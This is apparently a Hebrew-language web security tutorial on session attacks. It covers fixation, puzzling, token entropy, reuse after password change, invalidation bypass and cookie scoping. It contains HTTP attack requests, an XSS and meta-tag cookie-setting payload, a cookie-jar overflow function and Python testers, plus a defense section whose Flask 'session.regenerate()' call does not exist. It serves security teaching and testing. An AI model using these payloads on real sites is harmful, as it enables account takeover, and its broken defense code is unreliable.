לדלג לתוכן

תקיפות סשן מתקדמות - Advanced Session Attacks

מבוא

ניהול סשנים הוא אחד מאבני היסוד של אבטחת אפליקציות ווב. טוקן הסשן משמש כתחליף לאימות מחדש בכל בקשה. חולשות בניהול הסשן מאפשרות לתוקף לחטוף סשנים, לזייף אותם, או לנצל אותם בדרכים יצירתיות.


תקיפה 1: קיבוע סשן - Session Fixation

הרקע

בתקיפת קיבוע סשן, התוקף כופה על הקורבן להשתמש ב-session ID שידוע לתוקף. כאשר הקורבן מתחבר, התוקף משתמש באותו session ID כדי לגשת לחשבון.

תנאי מוקדם

האפליקציה חייבת לקבל session IDs מהלקוח ולא לחדש אותם בהתחברות.

שלבי התקיפה

# שלב 1: התוקף מקבל session ID
GET / HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID; Path=/

# שלב 2: התוקף שולח לינק לקורבן עם ה-session ID
# שיטה א: דרך URL
https://target.com/login?session=KNOWN_SESSION_ID

# שיטה ב: דרך XSS
<script>document.cookie="session=KNOWN_SESSION_ID"</script>

# שיטה ג: דרך meta tag (אם יש HTML injection)
<meta http-equiv="Set-Cookie" content="session=KNOWN_SESSION_ID">

# שיטה ד: דרך subdomain cookie
# אם התוקף שולט ב-sub.target.com:
Set-Cookie: session=KNOWN_SESSION_ID; Domain=.target.com

# שלב 3: הקורבן מתחבר עם ה-session הידוע
POST /login HTTP/1.1
Cookie: session=KNOWN_SESSION_ID

username=victim&password=secret

# שלב 4: התוקף משתמש באותו session
GET /dashboard HTTP/1.1
Cookie: session=KNOWN_SESSION_ID

# אם ה-session לא חודש -> התוקף מחובר כקורבן!

בדיקה

import requests

def test_session_fixation(base_url):
    """בדיקת חולשת session fixation"""

    session = requests.Session()

    # שלב 1: קבלת session ID
    resp = session.get(f"{base_url}/")
    original_session = session.cookies.get('session')
    print(f"[*] Session לפני login: {original_session}")

    # שלב 2: התחברות
    session.post(f"{base_url}/login", data={
        'username': 'wiener',
        'password': 'peter'
    })

    new_session = session.cookies.get('session')
    print(f"[*] Session אחרי login: {new_session}")

    if original_session == new_session:
        print("[+] Session לא חודש - חשוף ל-Session Fixation!")
    else:
        print("[-] Session חודש בהתחברות - מוגן")

תקיפה 2: בלבול סשן - Session Puzzling

הרקע

Session puzzling (גם נקרא Session Variable Overloading) מתרחש כאשר האפליקציה משתמשת באותם משתני סשן למטרות שונות. תוקף יכול להגדיר משתנה סשן במסלול אחד ולנצל אותו במסלול אחר.

תרחיש

# תהליך איפוס סיסמה מגדיר את המשתמש בסשן:
POST /forgot-password HTTP/1.1
Cookie: session=ABC123

email=admin@target.com

# השרת מגדיר: session['reset_user'] = 'admin'

# תהליך שינוי סיסמה בודק את session['user']:
POST /change-password HTTP/1.1
Cookie: session=ABC123

new_password=hacked123

# אם השרת בודק session['reset_user'] במקום session['authenticated_user']
# -> ניתן לשנות סיסמה של admin!

דוגמה נוספת

# תהליך 1: הרשמה מגדירה role
POST /register HTTP/1.1
role=admin&name=Test&email=test@test.com
# session['role'] = 'admin' (ללא אימות)

# תהליך 2: הפרופיל בודק session['role']
GET /admin-panel HTTP/1.1
# session['role'] == 'admin' -> גישה מאושרת!

בדיקה

def test_session_puzzling(base_url):
    """בדיקת חולשת session puzzling"""

    session = requests.Session()

    # שלב 1: גשו לנקודת קצה שמגדירה משתני סשן
    session.post(f"{base_url}/forgot-password", data={
        'email': 'admin@target.com'
    })

    # שלב 2: נסו לגשת לנקודות קצה מוגנות
    endpoints = ['/admin', '/dashboard', '/change-password', '/profile']

    for ep in endpoints:
        resp = session.get(f"{base_url}{ep}", allow_redirects=False)
        if resp.status_code == 200:
            print(f"[+] גישה ל-{ep} לאחר forgot-password!")
        elif resp.status_code == 302:
            loc = resp.headers.get('Location', '')
            if 'login' not in loc:
                print(f"[+] הפניה מ-{ep} ל: {loc}")

תקיפה 3: ניתוח אנטרופיית טוקן - Token Entropy Analysis

הרקע

טוקני סשן חייבים להיות בלתי ניתנים לחיזוי. אם האנטרופיה נמוכה, ניתן לנחש טוקנים פעילים.

שימוש ב-Burp Sequencer

1. יירטו בקשה שמחזירה session cookie
2. לחצו ימני -> Send to Sequencer
3. בחרו את ה-cookie שרוצים לנתח
4. לחצו Start live capture
5. אספו לפחות 10,000 טוקנים
6. Sequencer יחשב:
   - Overall entropy quality
   - Character-level analysis
   - Bit-level analysis
7. אם האנטרופיה נמוכה מ-100 ביט -> חשוף לחיזוי

ניתוח ידני

import collections
import math
import requests

def analyze_session_entropy(base_url, sample_size=1000):
    """ניתוח אנטרופיית טוקני סשן"""

    tokens = []

    print(f"[*] אוסף {sample_size} טוקנים...")
    for i in range(sample_size):
        resp = requests.get(base_url)
        cookie = resp.cookies.get('session', '')
        if cookie:
            tokens.append(cookie)

        if (i + 1) % 100 == 0:
            print(f"  נאספו {i + 1} טוקנים")

    if not tokens:
        print("[-] לא נמצאו טוקנים")
        return

    # ניתוח אורך
    lengths = [len(t) for t in tokens]
    print(f"\n[*] אורך טוקן: min={min(lengths)}, max={max(lengths)}")

    # ניתוח תווים
    all_chars = ''.join(tokens)
    char_freq = collections.Counter(all_chars)
    unique_chars = len(char_freq)
    print(f"[*] תווים ייחודיים: {unique_chars}")

    # חישוב אנטרופיה של Shannon
    total = len(all_chars)
    entropy = 0
    for count in char_freq.values():
        p = count / total
        entropy -= p * math.log2(p)

    print(f"[*] אנטרופיית Shannon: {entropy:.2f} ביט לתו")
    print(f"[*] אנטרופיה כוללת: {entropy * min(lengths):.2f} ביט")

    # בדיקת כפילויות
    duplicates = len(tokens) - len(set(tokens))
    if duplicates > 0:
        print(f"[!] נמצאו {duplicates} טוקנים כפולים!")

    # בדיקת דפוסים
    # בדיקה אם חלק מהטוקן קבוע
    if len(set(t[:4] for t in tokens)) < 10:
        print("[!] 4 התווים הראשונים כמעט קבועים")

    if entropy * min(lengths) < 64:
        print("[+] אנטרופיה נמוכה מדי - חשוף לכוח גס!")
    elif entropy * min(lengths) < 128:
        print("[!] אנטרופיה בינונית - עלול להיות חשוף")
    else:
        print("[-] אנטרופיה מספקת")

    return {
        'tokens': len(tokens),
        'length': min(lengths),
        'unique_chars': unique_chars,
        'entropy_per_char': entropy,
        'total_entropy': entropy * min(lengths),
        'duplicates': duplicates
    }

תקיפה 4: ניצול סשנים מקבילים - Concurrent Session Abuse

הרקע

אפליקציות רבות מאפשרות מספר סשנים פעילים בו-זמנית. ניתן לנצל זאת בדרכים שונות.

תרחישים

תרחיש 1: שימוש בסשן אחרי שינוי סיסמה
1. התוקף גונב session cookie (באמצעות XSS, sniffing, וכו')
2. הקורבן מגלה ומשנה סיסמה
3. האם הסשן הגנוב עדיין פעיל? אם כן - חולשה!

תרחיש 2: סשן מרובה משתמשים
1. שני משתמשים מתחברים לאותו חשבון
2. משתמש א' משנה הרשאות
3. האם השינוי משפיע מיד על סשן של משתמש ב'?

תרחיש 3: שדרוג הרשאות
1. מנהל מעלה הרשאות של משתמש
2. המשתמש לא מתחבר מחדש
3. האם ההרשאות החדשות חלות על הסשן הקיים?

בדיקה

def test_session_invalidation(base_url, username, password):
    """בדיקה אם סשנים מבוטלים בשינוי סיסמה"""

    # סשן 1
    session1 = requests.Session()
    session1.post(f"{base_url}/login", data={
        'username': username,
        'password': password
    })

    # סשן 2
    session2 = requests.Session()
    session2.post(f"{base_url}/login", data={
        'username': username,
        'password': password
    })

    # בדיקה שלשני הסשנים יש גישה
    r1 = session1.get(f"{base_url}/profile")
    r2 = session2.get(f"{base_url}/profile")
    print(f"[*] סשן 1: {r1.status_code}, סשן 2: {r2.status_code}")

    # שינוי סיסמה דרך סשן 1
    new_password = password + "NEW"
    session1.post(f"{base_url}/change-password", data={
        'current_password': password,
        'new_password': new_password
    })

    # בדיקה אם סשן 2 עדיין עובד
    r2_after = session2.get(f"{base_url}/profile")
    print(f"[*] סשן 2 אחרי שינוי סיסמה: {r2_after.status_code}")

    if r2_after.status_code == 200:
        print("[+] סשן 2 עדיין פעיל - סשנים לא מבוטלים!")
    else:
        print("[-] סשן 2 בוטל - הגנה תקינה")

תקיפה 5: עקיפת ביטול סשן - Session Invalidation Bypass

הרקע

גם כאשר השרת מבטל סשנים, ייתכנו דרכים לעקוף את הביטול.

טכניקות

# טכניקה 1: שימוש בסשן ישן עם cache
GET /profile HTTP/1.1
Cookie: session=OLD_SESSION
If-None-Match: "cached_etag"

# אם השרת מחזיר 304 Not Modified ללא בדיקת סשן

# טכניקה 2: שימוש ב-refresh token
POST /token/refresh HTTP/1.1
Cookie: refresh_token=STILL_VALID_REFRESH_TOKEN

# אם ה-refresh token לא בוטל עם הסשן

# טכניקה 3: API endpoints שלא בודקים ביטול
GET /api/v1/user HTTP/1.1
Authorization: Bearer OLD_ACCESS_TOKEN

# ה-API בודק רק את תקינות הטוקן, לא אם בוטל

# טכניקה 4: WebSocket שנשאר פתוח
# חיבורי WebSocket לא תמיד מתנתקים כשהסשן מבוטל

מניפולציית Domain ו-Path

# בדיקה 1: Cookie scoping
# אם ה-cookie מוגדר ל-.target.com
# כל subdomain יכול לקרוא ולשנות אותו

Set-Cookie: session=abc; Domain=.target.com; Path=/

# תוקף ששולט ב-evil.target.com יכול:
# 1. לקרוא את ה-session cookie
# 2. לדרוס אותו עם ערך ידוע (session fixation)

עקיפת הגבלת Path

# Cookie מוגבל ל-path מסוים:
Set-Cookie: admin_session=xyz; Path=/admin

# עקיפה באמצעות iframe:
<iframe src="/admin/page"></iframe>
# ה-iframe שולח את ה-cookie ו-JavaScript יכול לגשת לתוכנו
# (אם אותו origin)
# כאשר יש subdomain בשליטת התוקף:
# evil.target.com מגדיר cookie עבור .target.com

Set-Cookie: session=ATTACKER_VALUE; Domain=.target.com; Path=/

# ה-cookie של התוקף עלול לדרוס את ה-cookie האמיתי
# או להישלח לפני ה-cookie האמיתי

# תוצאה: session fixation או בלבול סשן
def cookie_jar_overflow(target_url, target_cookie_name):
    """דריסת cookie על ידי הצפת ה-cookie jar"""

    # דפדפנים מגבילים מספר cookies לדומיין (בדרך כלל 150-180)
    # אם מוסיפים מספיק cookies, הישנים נמחקים

    session = requests.Session()

    # יצירת cookies רבים כדי לדחוק את ה-cookie הרצוי
    for i in range(200):
        session.cookies.set(f'junk_{i}', 'x' * 100, domain='.target.com')

    # כעת ניתן להגדיר cookie חדש באותו שם
    session.cookies.set(target_cookie_name, 'attacker_value', domain='.target.com')

כלים

Burp Sequencer

מטרה: ניתוח איכות האקראיות של טוקנים
שימוש:
1. לכדו תגובה שמכילה session cookie
2. שלחו ל-Sequencer
3. בחרו את הערך לניתוח
4. הריצו live capture של 10,000+ דגימות
5. בדקו את תוצאות הניתוח

סקריפט מלא לבדיקת סשנים

#!/usr/bin/env python3
"""
סקריפט מקיף לבדיקת אבטחת סשנים
"""

import requests
import time

class SessionTester:
    def __init__(self, base_url):
        self.base_url = base_url

    def test_session_regeneration(self, username, password):
        """בדיקה אם הסשן מחודש בהתחברות"""
        print("[*] בודק חידוש סשן...")

        session = requests.Session()
        session.get(self.base_url)
        pre_login = session.cookies.get('session')

        session.post(f"{self.base_url}/login", data={
            'username': username,
            'password': password
        })
        post_login = session.cookies.get('session')

        if pre_login == post_login:
            print("  [+] Session Fixation - הסשן לא חודש!")
        else:
            print("  [-] הסשן חודש בהתחברות")

    def test_secure_flags(self):
        """בדיקת דגלי אבטחה ב-cookie"""
        print("\n[*] בודק דגלי אבטחה...")

        resp = requests.get(self.base_url)
        cookies = resp.headers.get('Set-Cookie', '')

        checks = {
            'Secure': 'Secure' in cookies,
            'HttpOnly': 'HttpOnly' in cookies,
            'SameSite': 'SameSite' in cookies,
        }

        for flag, present in checks.items():
            status = "[-] חסר" if not present else "[+] קיים"
            print(f"  {status}: {flag}")

    def test_logout_invalidation(self, username, password):
        """בדיקה אם logout מבטל את הסשן"""
        print("\n[*] בודק ביטול סשן ב-logout...")

        session = requests.Session()
        session.post(f"{self.base_url}/login", data={
            'username': username,
            'password': password
        })

        # שמירת ה-cookie
        session_cookie = session.cookies.get('session')

        # logout
        session.get(f"{self.base_url}/logout")

        # ניסיון שימוש ב-cookie הישן
        resp = requests.get(
            f"{self.base_url}/profile",
            cookies={'session': session_cookie},
            allow_redirects=False
        )

        if resp.status_code == 200:
            print("  [+] הסשן עדיין פעיל לאחר logout!")
        else:
            print("  [-] הסשן בוטל כראוי")

    def test_session_timeout(self, username, password, wait_minutes=5):
        """בדיקת תפוגת סשן"""
        print(f"\n[*] בודק תפוגת סשן ({wait_minutes} דקות)...")

        session = requests.Session()
        session.post(f"{self.base_url}/login", data={
            'username': username,
            'password': password
        })

        session_cookie = session.cookies.get('session')

        print(f"  ממתין {wait_minutes} דקות...")
        time.sleep(wait_minutes * 60)

        resp = requests.get(
            f"{self.base_url}/profile",
            cookies={'session': session_cookie},
            allow_redirects=False
        )

        if resp.status_code == 200:
            print(f"  [!] הסשן עדיין פעיל אחרי {wait_minutes} דקות")
        else:
            print(f"  [-] הסשן פג תוקף")

    def run_all(self, username, password):
        """הרצת כל הבדיקות"""
        print(f"{'='*60}")
        print(f"[*] בדיקת אבטחת סשנים - {self.base_url}")
        print(f"{'='*60}")

        self.test_session_regeneration(username, password)
        self.test_secure_flags()
        self.test_logout_invalidation(username, password)

        print(f"\n{'='*60}")
        print("[*] הבדיקה הושלמה")

if __name__ == "__main__":
    tester = SessionTester("https://target.com")
    tester.run_all("wiener", "peter")

הגנות - Defenses

1. חידוש סשן בהתחברות

from flask import session

@app.route('/login', methods=['POST'])
def login():
    if authenticate(request.form['username'], request.form['password']):
        # חידוש הסשן למניעת fixation
        session.regenerate()

        session['user'] = request.form['username']
        session['authenticated'] = True
        return redirect('/dashboard')
app.config.update(
    SESSION_COOKIE_SECURE=True,      # רק HTTPS
    SESSION_COOKIE_HTTPONLY=True,     # ללא גישת JavaScript
    SESSION_COOKIE_SAMESITE='Lax',   # הגנת CSRF
    SESSION_COOKIE_DOMAIN=None,      # דומיין מדויק בלבד
    PERMANENT_SESSION_LIFETIME=1800   # 30 דקות
)

3. ביטול כל הסשנים בשינוי סיסמה

@app.route('/change-password', methods=['POST'])
def change_password():
    # שינוי הסיסמה
    user.set_password(request.form['new_password'])

    # ביטול כל הסשנים
    invalidate_all_sessions(user.id)

    # יצירת סשן חדש
    session.regenerate()
    session['user'] = user.id

    return redirect('/dashboard')

4. דרישות אנטרופיה

- אורך מינימלי של 128 ביט (32 תווים hex)
- שימוש ב-CSPRNG (Cryptographically Secure Pseudo-Random Number Generator)
- לא לכלול מידע ניתן-לחיזוי (timestamp, user ID, IP)

סיכום

תקיפות סשן מתקדמות מנצלות חולשות בניהול מחזור חיי הסשן. הנקודות המרכזיות:

  • חדשו תמיד את הסשן בהתחברות כדי למנוע fixation
  • הפרידו משתני סשן למטרות שונות כדי למנוע puzzling
  • ודאו אנטרופיה גבוהה בטוקנים באמצעות Burp Sequencer
  • בטלו את כל הסשנים בשינוי סיסמה
  • הגדירו דגלי Secure, HttpOnly ו-SameSite בכל Cookie
  • הגבילו את Domain ו-Path של cookies למינימום הנדרש